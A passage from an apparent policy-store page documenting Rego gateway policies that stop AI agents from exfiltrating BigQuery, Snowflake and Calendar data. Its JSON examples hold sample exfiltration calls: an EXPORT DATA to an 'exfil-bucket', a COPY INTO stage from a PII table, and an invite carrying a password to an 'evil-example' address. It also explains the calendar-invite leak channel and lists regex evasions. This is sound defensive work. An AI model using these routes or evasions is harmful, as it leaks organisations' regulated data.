official/Toolbox `execute_sql`). A non-empty string value is compared case-folded against the `allowed_projects` allowlist; a present-but-non-string value (object/array/number) is denied fail-closed; an absent or empty-string value does not fire the check. ## Allowlist — pin per tenant `allowed_projects` is a **placeholder** set (`my-tenant-prod`, `my-tenant-analytics`). Replace these with your tenant's own BigQuery project IDs (lowercase) at import time. A cross-project write target or `project_id` argument whose project is not in this set is denied. ## Examples ### Allowed — SELECT into the current project ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-execute_sql", "type": "tool" }, "payload": { "name": "bigquery-mcp-execute_sql", "args": { "sql": "SELECT id, total FROM analytics.orders LIMIT 100" } } } } ``` `allow = true` — no exfil construct, no cross-project target, no `project_id`. ### Allowed — write into an allowlisted project (explicitly qualified) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-execute_sql", "type": "tool" }, "payload": { "name": "bigquery-mcp-execute_sql", "args": { "sql": "INSERT INTO my-tenant-prod.reporting.daily SELECT * FROM staging.daily" } } } } ``` `allow = true` — `my-tenant-prod` is on the allowlist. (A separate policy, `guard-warehouse-sql`, governs whether ordinary callers may run `INSERT` at all; this policy only cares that the target project is the tenant's own.) ### Denied — EXPORT DATA to a GCS bucket ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-execute_sql", "type": "tool" }, "payload": { "name": "bigquery-mcp-execute_sql", "args": { "sql": "EXPORT DATA OPTIONS(uri='gs://exfil-bucket/*', format='CSV') AS SELECT * FROM analytics.customers" } } } } ``` `allow = false` with the EXPORT DATA reason. ### Denied — cross-project CREATE TABLE A `CREATE TABLE other-corp-project.stage.copy AS SELECT * FROM analytics.customers` is denied — `other-corp-project` is not on the allowlist. ### Denied — project_id override A call with `args: { "sql": "SELECT 1", "project_id": "some-other-project" }` is denied with the `project_id` reason, even though the SQL is a harmless SELECT. ### Denied — fail closed on empty SQL A call to `bigquery-mcp-execute_sql` with `args: { "sql": "" }` (or no `sql`) is denied with the unreadable-SQL reason. ## Composition This is defense-in-depth for the exfiltration surface. Pair it with: - **`guard-warehouse-sql`** (sibling PF-07 policy) — blocks the destructive/DML statement classes (`DELETE`, `DROP`, `TRUNCATE`, non-temp `CREATE`, `GRANT`, `CALL`, `LOAD DATA`, `EXECUTE IMMEDIATE`) that this export guard does not cover. - **`fence-sensitive-schemas` (PF-23)** — dataset/schema allow-lists keyed to IdP groups, for the tables an allowed in-project query may still touch. - **Egress PII/PAN redaction** on query results, since a permitted `SELECT` can still return regulated data in bulk. - **Server-side controls** — MCP Toolbox `writeMode: blocked`/`protected`, `allowedDatasets`, and read-only IAM roles. The regex guard is a high-signal first line, not a SQL firewall. ## Known limitations - **Tenant project allowlist is a placeholder.** `allowed_projects` must be pinned to the tenant's real project IDs at import — until then it denies every cross-project target and `project_id` override, including the tenant's own. - **Regex over SQL text, not a parser.** Table-reference detection cannot catch every obfuscation. SQL comments are scrubbed before matching (block `/* */`, line `--`, hash `#` → replaced with a space), so inter-token comment tricks (`EXPORT/**/DATA`, `CREATE TABLE /*c*/ proj.ds.t`) are caught; a comment that splits a keyword itself (`EXP/**/ORT`) is not, but it is not a valid keyword in GoogleSQL either, so it does not execute as an export. Residual evasions (false negatives) remain: per-identifier backtick-quoting (`` `proj`.`ds`.`tbl` ``, where each part is individually quoted — the whole-name-wrapped form `` `proj.ds.tbl` `` *is* caught), domain-scoped legacy project IDs (`` `example.com:proj.ds.tbl` ``, which must be backtick-wrapped), an unterminated block comment (`EXPORT /* DATA …` with no closing `*/` — but that is invalid SQL and errors server-side), `INFORMATION_SCHEMA`-driven or `EXECUTE IMMEDIATE` dynamic SQL that assembles the target from fragments, and multi-statement scripts. A mutating keyword or `gs://`-like string inside a string literal can still produce a false positive. Treat this as defense-in-depth alongside `guard-warehouse-sql` and server-side controls, not a standalone firewall. - **Cross-project write detection covers the common data-landing DML/DDL only.** `INSERT` (with/without `INTO`), `MERGE`, `UPDATE`, `CREATE [OR REPLACE] TABLE`, and `CREATE SNAPSHOT TABLE` targeting a three-part `project.dataset.table` are matched. Rarer forms that can also persist data in another project — `CREATE MATERIALIZED VIEW proj.ds.mv AS …`, `CREATE EXTERNAL TABLE`, and `LOAD DATA INTO proj.ds.t` — are **not** flagged by the cross-project regex (verified: a cross-project `CREATE MATERIALIZED VIEW` is allowed here). Rely on the sibling `guard-warehouse-sql` (which blocks non-temp `CREATE` and `LOAD DATA` outright) and on server-side `writeMode`/`allowedDatasets` for those. Note `guard-warehouse-sql` does **not** block plain `INSERT`/`UPDATE`/ `MERGE`, so the cross-project boundary for those DML forms rests on this policy. - **Cross-project *reads* are out of scope.** This policy governs the write / export surface. It excludes `execute_sql_readonly`, so a read-only query that federates or reads from another project via `project_id` on the read-only tool is not caught here — gate that with a read-side scope policy if needed. - **`project_id` key is verified only for the official/Toolbox `execute_sql`.** Community servers may not accept it; the check simply does not fire when the argument is absent. A present-but-non-string `project_id` (object/array/number) is treated as malformed and **denied fail-closed**; an empty-string value is ignored (some servers read it as "use the default project"). - **Two-part references assume the current project.** `dataset.table` is treated as in-project (not flagged). If your server resolves unqualified references to a non-tenant default project, enforce the project boundary server-side. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package bigquery.ingress.guard_warehouse_export # Deny-by-default: a matched BigQuery SQL tool call is permitted only when it # carries readable SQL that contains no exfiltration/cross-project construct and # no out-of-allowlist `project_id` argument. default allow := false # --- Tenant project allowlist (PLACEHOLDER — pin per tenant) ------------------ # BigQuery project IDs the tenant is allowed to land data in. Replace these with # the tenant's real (lowercase) project IDs at import time. Cross-project write # targets and `project_id` arguments outside this set are denied. allowed_projects := { "my-tenant-prod", "my-tenant-analytics", } # --- Read-only tool (matched FIRST and excluded) ----------------------------- # `execute_sql_readonly` cannot run EXPORT DATA / DDL, so it is never inspected # here. Detected on the `_readonly` suffix before the write-tool match. is_readonly_tool if { name := lower(input.resource.name) endswith(name, "_readonly") } # --- SQL tools --------------------------------------------------------------- # Matched by suffix (gateway prefixes the configured server name). Same surface # as the sibling guard-warehouse-sql policy. sql_tool_suffixes := [ "execute_sql", "execute-query", "query", ] is_sql_tool if { not is_readonly_tool name := lower(input.resource.name) some suffix in sql_tool_suffixes endswith(name, suffix) } # --- SQL extraction ---------------------------------------------------------- # Read the statement from `sql` (verified) and `query` (defensive fallback). # Only non-empty string values are considered; a non-string arg yields no SQL, # which on a matched tool is denied fail closed below. sql_arg_keys := ["sql", "query"] sql_text := concat(" ", [v | some key in sql_arg_keys v := object.get(input.payload.args, key, "") is_string(v) v != "" ]) sql_present if { sql_text != "" } # --- Comment scrubbing ------------------------------------------------------- # Strip SQL comments so two keywords (or a keyword and its target table) # separated only by a comment are seen as adjacent. Without this, GoogleSQL # treats a comment as whitespace, so `EXPORT/**/DATA`, `EXPORT -- x\nDATA`, and # `CREATE TABLE /*c*/ proj.ds.t` tokenize as the real statement yet slip past the # `\s+`-anchored patterns below. Block (`/* */`), line (`--`) and hash (`#`) # comments are each replaced with a single space. RE2 → linear time, no # backtracking. A comment that splits a *keyword itself* (`EXP/**/ORT`) also # breaks that keyword in GoogleSQL, so scrubbing can only close inter-token # evasions, never manufacture a new bypass. Detection below runs on the scrubbed # text; `sql_present` (fail-closed gate) stays on the raw text. sql_scrubbed := scrubbed if { no_block := regex.replace(sql_text, `/\*[\s\S]*?\*/`, " ") no_line := regex.replace(no_block, `--[^\n]*`, " ") scrubbed := regex.replace(no_line, `#[^\n]*`, " ") } # --- Exfiltration constructs ------------------------------------------------- # EXPORT DATA — streams query results to a GCS (gs://) bucket. EXPORT MODEL — # streams a trained BQML model (which can encode training data) to a GCS bucket. # Both are read-shaped statements that land data/artifacts on GCS outside the # warehouse, so both are caught here. Anchored on the two keywords adjacent (any # run of whitespace) so identifiers like `export_data` (underscore, no space) do # not trip it. has_export_data if { regex.match(`(?i)\bEXPORT\s+(?:DATA|MODEL)\b`, sql_scrubbed) } # EXTERNAL_QUERY — federated read from another source. has_external_query if { regex.match(`(?i)\bEXTERNAL_QUERY\b`, sql_scrubbed) } # --- Cross-project write target ---------------------------------------------- # Match the target of a persistent write whose destination is a *fully-qualified* # project.dataset.table reference (exactly three dot-separated parts, optional # leading backtick for a whole-wrapped name). Covered write forms: # INSERT [INTO] ... (INTO is OPTIONAL in GoogleSQL — both spellings match) # MERGE [INTO] ... (data-landing DML) # UPDATE ... (can write tenant rows into a cross-project table) # CREATE [OR REPLACE] TABLE [IF NOT EXISTS] ... / CREATE SNAPSHOT TABLE ... # A two-part `dataset.table` target has only two components and does not match, # so it is not flagged (treated as the current project). Capture group 1 is the # project ID. `\b` anchors each keyword so it is not matched mid-identifier. The # keyword→target separator is `(?:\s+`?|`)`: whitespace (optionally followed by a # backtick) OR a backtick directly, so a no-space backtick target like # ``INSERT INTO`proj.ds.t` `` (valid GoogleSQL) is still caught without loosening # to `\s*` (which would match mid-identifier). target_write_pattern := "(?i)\\b(?:INSERT(?:\\s+INTO)?|MERGE(?:\\s+INTO)?|UPDATE|CREATE\\s+(?:OR\\s+REPLACE\\s+)?TABLE(?:\\s+IF\\s+NOT\\s+EXISTS)?|CREATE\\s+SNAPSHOT\\s+TABLE)(?:\\s+`?|`)([A-Za-z0-9][A-Za-z0-9-]*)\\.[A-Za-z0-9_$]+\\.[A-Za-z0-9_$]+" cross_project_target if { matches := regex.find_all_string_submatch_n(target_write_pattern, sql_scrubbed, -1) some m in matches proj := lower(m[1]) not allowed_projects[proj] } # --- project_id argument ----------------------------------------------------- # The remote server lets a caller target any project their IAM allows. Deny when # the standalone project_id is a non-empty string outside the allowlist. bad_project_id if { pid := object.get(input.payload.args, "project_id", "") is_string(pid) pid != "" not allowed_projects[lower(pid)] } # A present-but-non-string project_id (object, array, number) is malformed or # evasive — the string allowlist check cannot reason about it, so fail closed # rather than silently ignoring it. Absent project_id (the common case) does not # reach here, since the reference is undefined and the rule body fails. bad_project_id if { pid := input.payload.args.project_id not is_string(pid) } # --- Allow rules ------------------------------------------------------------- # Non-matched tools (metadata/read helpers, the read-only tool, non-SQL tools). allow if { not is_sql_tool } # A matched SQL tool passes only when it carries readable SQL AND none of the # exfiltration/cross-project conditions hold. Missing/empty SQL fails this rule, # so the default deny takes effect (fail closed). allow if { is_sql_tool sql_present not has_export_data not has_external_query not cross_project_target not bad_project_id } # --- Deny reasons ------------------------------------------------------------ reasons contains "This BigQuery call is blocked on the agent MCP path: it uses an EXPORT statement (EXPORT DATA or EXPORT MODEL), which streams query results or a trained model to a Cloud Storage (gs://) bucket outside the warehouse. Data may only land inside your tenant's own allowlisted project. Route approved exports through your data platform team's sanctioned export pipeline. If this was a false positive, contact your data platform team." if { is_sql_tool sql_present has_export_data } reasons contains "This BigQuery call is blocked on the agent MCP path: it uses EXTERNAL_QUERY, a federated pull from another data source outside your project. Data may only land inside your tenant's own allowlisted project. Route approved cross-source work through your data platform team's sanctioned export pipeline. If this was a false positive, contact your data platform team." if { is_sql_tool sql_present has_external_query } reasons contains "This BigQuery call is blocked on the agent MCP path: it writes (CREATE TABLE, INSERT, UPDATE, MERGE, or CREATE SNAPSHOT) to a fully-qualified table in a project outside your tenant's allowlist. Data may only land inside your tenant's own allowlisted project. Route approved cross-project writes through your data platform team's sanctioned export pipeline. If this was a false positive, contact your data platform team." if { is_sql_tool sql_present cross_project_target } reasons contains "This BigQuery call is blocked on the agent MCP path: the project_id argument targets a project outside your tenant's allowlist. The remote server lets a caller aim at any project their IAM allows, but on this path work may only target your tenant's own allowlisted project. Remove the project_id override or set it to an allowlisted project, and route approved cross-project work through your data platform team. If this was a false positive, contact your data platform team." if { is_sql_tool bad_project_id } reasons contains "This BigQuery SQL tool was called with no readable SQL statement, so the guard cannot confirm the query is free of data-exfiltration constructs and blocks it fail-closed. Supply the statement in the `sql` argument. If this was a false positive, contact your data platform team." if { is_sql_tool not sql_present } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Bulk Export & External Staging (Snowflake) URL: https://www.intentbasedpolicy.com/policies/snowflake/guard-warehouse-export App(s): snowflake | Direction: ingress | Bundles: soc2, pci-dss, gdpr-ccpa | Package: snowflake.ingress.guard_warehouse_export | Published: 2026-07-12 | Tags: snowflake, guard-warehouse-sql, export, exfiltration, ingress, soc2, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/snowflake/guard-warehouse-export/policy.md # snowflake / guard-warehouse-export **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `snowflake.ingress.guard_warehouse_export` ## What it does Blocks Snowflake SQL-execution tool calls whose query text moves whole tables off the Snowflake perimeter — bulk export to cloud storage or a stage, and external data sharing. It inspects the SQL string carried by the SQL-passthrough tools (`SYSTEM_EXECUTE_SQL`, `run_snowflake_query`, `write_query`) and denies the request at ingress, before the SQL ever reaches Snowflake, when the query contains any of these constructs (matched case-insensitively): - **`COPY INTO @`** — bulk unload of a table to a named/internal stage. - **`COPY INTO '://…'`** — bulk unload directly to a cloud-storage URL outside Snowflake. Any quoted URL literal after `COPY INTO` is treated as an external unload target regardless of scheme (`s3://`, `s3gov://` GovCloud, `gcs://`, `azure://`, `s3compat://`, …); the scheme list is not enumerated. - **`CREATE [OR REPLACE] STAGE`** — creates the staging object that unloads target. - **`CREATE SHARE`**, **`ALTER SHARE … ADD ACCOUNTS`**, and **`GRANT … TO SHARE`** — the three steps of external data sharing (create the share, add consumer accounts, and place regulated objects into it). All are denied so no single step of an off-perimeter share can be built by the agent. - **`PUT file://…`** and **`GET @`** — client-side file transfer to/from a stage. Everything else — reads, `SELECT`, ordinary DML, and `COPY INTO FROM @` (a *load*, not an unload) — passes through unchanged. This is a distinct job from the destructive-mutation policy (`guard-warehouse-sql`): that policy governs `DROP`/`TRUNCATE`/`GRANT`-class governance changes, whereas this one governs data *leaving* the warehouse. ## Why no group is exempt Unlike the mutation policy — which exempts a `data-platform-admins` IdP group — bulk export of regulated data off-perimeter is **never** an agent-appropriate action, even for a data-platform admin. There is no `allow if` claims branch: a human should run these operations out of band, from a session that is directly attributable to them, not through an agent that can be prompt-injected. If your organization needs a break-glass path, run it outside the gateway rather than weakening this policy. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission, movement, and removal of information by blocking bulk unload of warehouse data to external storage and shares; **CC8.1** — treats stage/share creation (a governance change to how data can leave) as a change-managed operation the agent may not self-serve. - **PCI DSS 7.2.6** — supports restricting programmatic query access to stored cardholder data by role, by denying the constructs that copy that data out; **3.4.2** — supports preventing the copy/relocation of PAN via remote access by blocking `COPY INTO` to external targets over the agent channel. - **GDPR Art. 5(1)(c)** — supports data minimisation by preventing wholesale export of personal data; **Arts. 44/46** — supports the restriction on cross-border transfers by blocking agent-initiated unload to arbitrary cloud storage and external Snowflake accounts; **Art. 5(1)(f)/32** — security of processing on the agent's warehouse-egress path. - **HIPAA §164.502(e) / §164.514(d)** — supports the business-associate and minimum-necessary safeguards on a PHI-capable warehouse: blocking bulk unload (`COPY INTO` an external stage or cloud-storage URL) and external data shares stops an agent from copying PHI-bearing tables wholesale to storage or Snowflake accounts outside the covered entity's controlled, BAA-governed perimeter. ## Tool name matching Snowflake has **no stable canonical tool names** — the managed MCP server lets the admin name each tool freely (the SQL semantics live in the tool *type*, which is not visible on the wire), and the SQL surface is a string inside one argument. This policy matches the SQL-execution tools by suffix on `lower(input.resource.name)`: - `*execute_sql` (covers the managed server's `SYSTEM_EXECUTE_SQL` type when surfaced under that name) - `*run_snowflake_query` (Snowflake-Labs `run_snowflake_query`) - `*write_query` (community `mcp-snowflake-server` `write_query`) Because managed-server tool names are admin-chosen, **add the exact SQL-tool name your deployment configured** to `sql_tool_suffixes`, and pair this policy with a PF-28 `default-deny-unknown-tools` policy so a newly added or renamed SQL tool cannot slip past the suffix list. Verify names with the dump-input debug technique before relying on this in production. ## Argument shape For all three tools the SQL text is the entire policy surface. The landscape note verifies the argument key is `query`. To be robust against alternate key names on admin-configured tools, and to defeat "hide the SQL under a different key" bypasses, the policy scans **every top-level string-valued argument** (not just `query`) and matches the export patterns against their concatenation. Only SQL-execution tools are inspected, so scanning all string args cannot affect read tools. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-mcp-run_snowflake_query", "type": "tool" }, "payload": { "name": "snowflake-mcp-run_snowflake_query", "args": { "query": "SELECT id, name FROM analytics.customers LIMIT 100" } } } } ``` `allow = true`, no reason. (A `COPY INTO customers FROM @load_stage` load is likewise allowed — only unloads to a stage/URL are blocked.) ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-mcp-run_snowflake_query", "type": "tool" }, "payload": { "name": "snowflake-mcp-run_snowflake_query", "args": { "query": "COPY INTO @my_ext_stage FROM prod.pii.customers" } } } } ``` `allow = false`, `reason` names the construct ("COPY INTO @ …"). ## Composition - **`guard-warehouse-sql`** — the sibling ingress policy that blocks destructive/governance SQL (`DROP`/`TRUNCATE`/`DELETE`/`GRANT`, `CREATE USER/ROLE`) with a `data-platform-admins` exemption. Attach both: this one has no exemption by design. - **A PF-28 `default-deny-unknown-tools` policy** on the Snowflake server prefix, so admin-named SQL tools that are not on the suffix list are denied outright rather than passing uninspected. - **An egress redaction policy** on read tools (`read_query`, `run_snowflake_query`, Cortex Search/Analyst): that only masks what the agent *reads back*; this policy prevents the *write* that exports the data. They are complementary, not substitutes. ## Known limitations - **Regex over SQL text, not a parser.** The patterns are conservative and anchored per construct, but SQL is expressive: heavy comment injection (`COPY/*x*/INTO`), unusual quoting, or vendor syntax variants could evade a pattern. Treat this as a high-signal guardrail, not a complete anti-exfil control. Deeper coverage belongs in Snowflake-side network policies and storage-integration allowlists. - **Nested/structured arguments not inspected.** Only top-level *string* arguments are scanned. SQL nested inside an object (e.g. `args.options.query`) **or inside an array** (e.g. a batch `args.statements: ["COPY INTO @…"]`) is not matched — the comprehension takes only `is_string(v)` top-level values. None of the three verified tools use those shapes (each takes a single `query`/statement string); add a rule (or a recursive walk) if your admin-configured tool nests SQL. Pair with a PF-28 `default-deny-unknown-tools` policy so such a tool cannot be added silently. - **Composite tools are opaque.** A `CORTEX_AGENT_RUN`-type tool executes multi-step plans server-side; the gateway sees one opaque call and cannot reach the SQL inside it. Deny agent/composite tools separately (see the landscape note's PF-06/PF-14 candidates). - **Tool names are unverified for the managed server.** `SYSTEM_EXECUTE_SQL` is a tool *type*, not a wire name; the actual tool name is admin-chosen. The suffixes here match the two OSS servers' verified names plus a generic `*execute_sql`; confirm and extend `sql_tool_suffixes` for your deployment. - **No identity exemption.** This is intentional (see "Why no group is exempt"). The policy does not read `input.subject.claims` at all. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package snowflake.ingress.guard_warehouse_export # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # SQL-execution tools whose `query`/statement argument carries arbitrary SQL. # Snowflake has no canonical tool names, so we match by suffix on the tool name. # `execute_sql` covers the managed server's SYSTEM_EXECUTE_SQL type when surfaced # under that name; the other two are the verified OSS-server names. Add the exact # SQL-tool name your managed-server deployment configured. sql_tool_suffixes := [ "execute_sql", "run_snowflake_query", "write_query", ] is_sql_tool if { name := lower(input.resource.name) some suffix in sql_tool_suffixes endswith(name, suffix) } # Bulk-export / external-staging constructs. Each pattern is case-insensitive # (`(?i)`) and anchored to a specific SQL construct to limit false positives. export_constructs := [ # Unload a table into a named or internal stage: COPY INTO @ ... # (COPY INTO
FROM @stage is a *load* and does not match — the @ must # directly follow INTO). { "pattern": `(?i)\bcopy\s+into\s+@`, "label": "COPY INTO @ (bulk unload to a stage)", }, # Unload directly to a cloud-storage URL outside Snowflake. Any quoted URL # literal directly after COPY INTO is an external unload target — the scheme # is NOT enumerated (covers s3://, s3gov:// GovCloud, gcs://, azure://, # s3compat:// and any future scheme). A *load* names an unquoted table # (COPY INTO
FROM …), so requiring the leading quote avoids the load. { "pattern": `(?i)\bcopy\s+into\s+'[a-z0-9][a-z0-9+.\-]*://`, "label": "COPY INTO cloud-storage URL (external unload)", }, # Create the staging object that COPY INTO unloads to. { "pattern": `(?i)\bcreate\s+(?:or\s+replace\s+)?(?:temp(?:orary)?\s+)?stage\b`, "label": "CREATE STAGE", }, # Create a data share (exposes data to other Snowflake accounts). { "pattern": `(?i)\bcreate\s+(?:or\s+replace\s+)?share\b`, "label": "CREATE SHARE", }, # Add external accounts to an existing share. [\s\S]* crosses newlines # because ADD ACCOUNTS may sit on a later line of the statement. { "pattern": `(?i)\balter\s+share\b[\s\S]*\badd\s+accounts\b`, "label": "ALTER SHARE ... ADD ACCOUNTS", }, # Grant object access into an existing share — the step that actually places # regulated tables into a share for external accounts to read (CREATE/ALTER # SHARE alone expose nothing without it). `\bto\s+share\b` requires the SHARE # keyword, so it does not match GRANT ... TO ROLE share_admin or a table whose # name merely contains "share". { "pattern": `(?i)\bgrant\b[\s\S]*\bto\s+share\b`, "label": "GRANT ... TO SHARE (expose objects to a data share)", }, # Client-side upload of a local file to a stage. { "pattern": `(?i)\bput\s+'?file://`, "label": "PUT (upload to stage)", }, # Client-side download of stage contents to the local filesystem. { "pattern": `(?i)\bget\s+@`, "label": "GET (download from stage)", }, ] # Concatenate every top-level string argument so SQL cannot hide under an # alternate key. Missing `args` yields "" (fail-safe: nothing to match). sql_text := concat("\n", [v | some _, v in object.get(input.payload, "args", {}) is_string(v) ]) # Which export constructs the query text triggers. matched_constructs contains label if { is_sql_tool some entry in export_constructs regex.match(entry.pattern, sql_text) label := entry.label } # Allow anything that is not a SQL-execution tool. allow if { not is_sql_tool } # Allow SQL-execution tools only when no export construct matches. allow if { is_sql_tool count(matched_constructs) == 0 } reasons contains msg if { is_sql_tool some label in matched_constructs msg := sprintf("This Snowflake SQL performs a bulk export or external-sharing operation (%s), which the agent is not permitted to run. Bulk export of warehouse data off Snowflake's perimeter must be run by a human out of band — no IdP group is exempt. Contact your data-platform team if this was a false positive.", [label]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Calendar Invites to External Attendees URL: https://www.intentbasedpolicy.com/policies/google-calendar/guard-external-attendees App(s): google-calendar | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: google_calendar.ingress.guard_external_attendees | Published: 2026-07-12 | Tags: google-calendar, guard-external-send, ingress, calendar, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/google-calendar/guard-external-attendees/policy.md # google-calendar / guard-external-attendees **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `google_calendar.ingress.guard_external_attendees` ## What it does Denies Google Calendar event-write tool calls — `create_event` / `create-event`, `update_event` / `update-event`, and the consolidated `manage_event` — whenever any attendee address resolves to a domain outside a documented corporate-domain allowlist. All other tool calls pass through unchanged, and an event write with no attendees at all is allowed — there is nothing external to email. This closes the calendar-invite exfiltration channel: an agent can write secrets into an event's `summary`, `description`, or `location`, add one external address, and Google **emails the event body outside the organization** when `sendUpdates` is `all` or `externalOnly`. Because the invitation email is sent by Google the moment the write lands, egress redaction cannot help — the only effective control is denying the write at ingress, before it reaches the MCP server. The check is fail-closed: an event write whose `attendees` / `attendeeEmails` arguments are present but in a shape the policy cannot verify (wrong type, entries without a usable address, malformed `args`) is denied, not skipped. Callers whose `input.subject.claims.groups` include the placeholder `calendar-external-schedulers` group are exempt, so legitimate cross-org scheduling still works; a caller with no claims is never exempt. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of information outside the boundary: event bodies carrying corporate content cannot be mailed to non-corporate domains via agent-created invites; **P6.1** — supports limits on personal information disclosure to third parties over the agent's calendar path. - **HIPAA §164.530(c)** — supports privacy safeguards by preventing an agent from pushing PHI-bearing event titles, descriptions, or locations to addresses outside the covered entity's domains via invitation email. - **GDPR Art. 5(1)(f) / Art. 32** — supports security of processing on the agent's calendar-write path; **Arts. 44/46** — supports control over agent-visible cross-border transfers by pinning invite recipients to reviewed corporate domains. ## Tool name matching Tool names are read from **both** the PARC `input.resource.name` and the still-populated legacy `input.payload.name` alias (they carry the same value on `tool_pre_invoke`; checking both means a call with `resource.name` absent still fails closed instead of slipping through as a non-write). Each name is lowercased and `-` is normalized to `_`, then matched by suffix: - `*create_event` — official Google server (`create_event`, snake_case) and nspady/google-calendar-mcp (`create-event`, kebab-case, normalized) - `*update_event` — same two servers (`update_event` / `update-event`) - `*manage_event` — taylorwilsdon/google_workspace_mcp's consolidated write tool; see below The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `google-calendar-mcp-create-event`), and that prefix is not standardized — suffix matching keeps the policy portable. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. `manage_event` spans create, update, **and delete** behind one action argument, so tool-name matching alone cannot scope it. The policy guards `manage_event` for every action **except an explicit `delete`** (a delete carries no attendee payload; denying deletes belongs to the `freeze-destructive-events` companion). The upstream action vocabulary is not fully verified, so a missing, empty, non-string, or unrecognized action stays guarded — fail closed. The read-only Claude connector (`gcal_*`) exposes no write tools, so nothing it sends matches this policy. ## Argument shape Attendee addresses are read with `object.get` from two argument keys: - `attendees` — the nspady / official-server superset shape: an array of objects each carrying the address under `email` (`[{"email": "a@example.com"}]`). Bare address strings inside the array are also accepted defensively. - `attendeeEmails` — an array of address strings. Verified on the official server's `suggest_time` (a read tool this policy does not guard); checked on writes defensively in case a server reuses the shape there. Parsing is deliberately conservative: an address must contain exactly one `@` to yield a domain — entries with zero or multiple `@` signs (including several addresses smuggled into one entry) fail to parse and the write is **denied**, not skipped. Domain comparison is exact and case-insensitive (subdomains of an allowlisted domain do **not** match). An `attendees` / `attendeeEmails` value that is present but not an array, an entry without a usable address, or an `args` object that is not an object all deny the call as unverifiable. The domain allowlist ships with **placeholder** values (`example.com`, `example.org`) — replace them with your organization's domains at import time. ## Examples ### Allowed — internal attendees only ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-calendar-mcp-create-event", "type": "tool" }, "payload": { "name": "google-calendar-mcp-create-event", "args": { "summary": "Sprint review", "attendees": [ { "email": "alice@example.com" }, { "email": "bob@example.org" } ], "sendUpdates": "all" } } } } ``` `allow = true`, no reason. ### Denied — external attendee on a secret-bearing event ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-calendar-mcp-create-event", "type": "tool" }, "payload": { "name": "google-calendar-mcp-create-event", "args": { "summary": "creds", "description": "db password: hunter2", "attendees": [{ "email": "drop@evil-example.net" }], "sendUpdates": "all" } } } } ``` `allow = false`, reason instructs the caller to remove the external attendees or request the exemption group. ## Composition This policy is single-purpose. Useful companions: - A transform policy that rewrites `sendUpdates` to `"none"` on agent create/update/delete calls, so even allowed writes never blast invitation emails without a human deciding to send them. - `guard-public-exposure` — denies `visibility: "public"`, `guestsCanModify`, and `anyoneCanAddSelf`, closing the exposure and delegation channels this policy does not inspect. - `freeze-destructive-events` — denies `delete_event` / `delete-event` and `manage_event` deletes, which this policy deliberately leaves alone. - `redact-attendee-pii` — egress redaction of attendee lists and event bodies on the read side. - A `default-deny-unknown-tools` (PF-28) allowlist policy, so a write tool with an unanticipated name cannot slip past suffix matching. ## Known limitations - **Placeholders.** The domain allowlist entries (`example.com`, `example.org`) and the exemption group name (`calendar-external-schedulers`) are placeholders — replace them with your corporate domains and your IdP's group name at import time. - **`manage_event` action vocabulary is unverified.** The taylorwilsdon README confirms create/update/delete are disambiguated by an action argument, but the exact argument name and its values are not published. The policy reads `args.action` and fails closed (guards the call) for anything other than a literal `delete`; if that server spells the argument differently, calls stay guarded — over-denying, never over-allowing. - **`manage_event` deletes are not inspected.** An explicit `action: "delete"` bypasses this policy even if external addresses appear in its arguments (a delete does not create invites; cancellation mails go only to already-invited attendees). Pair with `freeze-destructive-events` to control deletes. - **Only `attendees` / `attendeeEmails` are inspected.** A server exposing attendee addresses under a different key (e.g. `guests`) would not be checked; extend the extraction rules if your server does. Suffix matching likewise only covers the known write-tool vocabularies — pair with a PF-28 allowlist policy for deny-by-default coverage. - **Event body content is not scanned.** This policy blocks the delivery channel (external attendee), not the secret itself. An internal-only event containing secrets is allowed; compose with a DLP-style ingress policy if you need content inspection. - **`guestsCanInviteOthers` residual.** An allowed internal-only event that leaves `guestsCanInviteOthers` enabled lets a human invitee add external guests later from the Calendar UI — outside the gateway's reach. The `guard-public-exposure` companion narrows delegation flags. - **Exemption takes precedence over the unverifiable-shape deny.** The `calendar-external-schedulers` exemption is evaluated before the fail-closed shape check, so an exempt caller's event write is allowed even when its `attendees` / `attendeeEmails` arguments are in a shape the policy cannot verify. This is intentional: exempt callers are already trusted to invite external attendees, so a malformed payload has no control to slip past, and the MCP server performs its own argument validation. The fail-closed unverifiable deny applies to **non-exempt** callers only. > **Compliance note.** This policy supports alignment with the cited > framework controls **on the MCP path only**. No policy or bundle makes an > organization compliant with any framework; web-UI, native-API, and in-app > access are outside the gateway's reach by design. Validate against your > own compliance program before relying on it. ```rego package google_calendar.ingress.guard_external_attendees # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Corporate email domain allowlist — PLACEHOLDER values. Replace with your # organization's domains at import time. allowed_domains := { "example.com", "example.org", } # IdP group whose members may invite external attendees through the agent. # PLACEHOLDER — replace with your IdP's group name at import time. exempt_group := "calendar-external-schedulers" # --- Tool name matching --- # Tool-name candidates: the PARC resource.name plus the (deprecated but still # populated 